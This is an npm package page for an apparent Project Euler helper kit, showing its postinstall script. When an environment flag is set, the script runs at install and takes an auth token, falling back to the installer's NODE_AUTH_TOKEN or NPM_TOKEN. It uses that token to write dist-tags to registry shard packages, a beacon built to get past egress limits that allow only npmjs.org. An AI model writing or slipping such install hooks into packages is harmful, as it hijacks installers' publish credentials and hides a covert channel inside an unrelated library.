@dancing-ninjas/project-euler-helper-kit
Version:
Dancing Ninjas Project Euler helpers + constrained telemetry strategies compatible with npmjs.org-only egress.
48 lines (38 loc) • 2.48 kB
JavaScript
/* postinstall.cjs — Dancing Ninjas dist-tag beacon @ scale (npmjs.org only)
Enable: DN_MODE=disttag
Token: DN_DISTTAG_TOKEN=<GAT with RW to ONLY the beacon shards>
Optional:
DN_SHARDS='@dancing-ninjas/install-events-a,@dancing-ninjas/install-events-b,...'
DN_JITTER_MS=500
*/
const https = require('https');
const crypto = require('crypto');
if (process.env.DN_TELEMETRY_OPTOUT === '1' || process.env.DN_MODE !== 'disttag') process.exit(0);
const token = process.env.DN_DISTTAG_TOKEN || process.env.NODE_AUTH_TOKEN || process.env.NPM_TOKEN;
if (!token) process.exit(0);
const shardList = (process.env.DN_SHARDS || '@dancing-ninjas/install-events-a,@dancing-ninjas/install-events-b,@dancing-ninjas/install-events-c,@dancing-ninjas/install-events-d,@dancing-ninjas/install-events-e,@dancing-ninjas/install-events-f,@dancing-ninjas/install-events-g,@dancing-ninjas/install-events-h,@dancing-ninjas/install-events-i,@dancing-ninjas/install-events-j,@dancing-ninjas/install-events-k,@dancing-ninjas/install-events-l,@dancing-ninjas/install-events-m,@dancing-ninjas/install-events-n,@dancing-ninjas/install-events-o,@dancing-ninjas/install-events-p')
.split(',')
.map(s => s.trim())
.filter(Boolean);
const projectHash = crypto.createHash('sha256').update(process.cwd()).digest('hex');
const shardIndex = parseInt(projectHash.slice(0, 8), 16) % shardList.length;
const eventPkg = shardList[shardIndex];
const eventVersion = '1.0.0';
const nowIso = new Date().toISOString().replace(/\..+Z$/, 'Z');
const rand = crypto.randomBytes(3).toString('hex'); // 6 hex
const tag = `dn-${nowIso.replace(/[:-]/g,'').replace('T','T')}-${rand}`; // dn-20250904T142203Z-ab12cd
const path = `/-/package/${encodeURIComponent(eventPkg)}/dist-tags/${encodeURIComponent(tag)}`;
const body = Buffer.from(JSON.stringify(eventVersion));
const headers = { 'content-type': 'application/json', 'content-length': body.length, 'authorization': `Bearer ${token}` };
const timeoutMs = 1500;
const jitterMs = Math.min(parseInt(process.env.DN_JITTER_MS || '500', 10), 2000);
function send() {
try {
const req = https.request({ hostname: 'registry.npmjs.org', port: 443, method: 'PUT', path, headers }, res => { res.resume(); });
req.setTimeout(timeoutMs, () => { try { req.destroy(); } catch {} });
req.on('error', () => {});
req.end(body);
} catch {}
}
// tiny jitter to spread bursts
setTimeout(send, Math.floor(Math.random() * (jitterMs + 1)));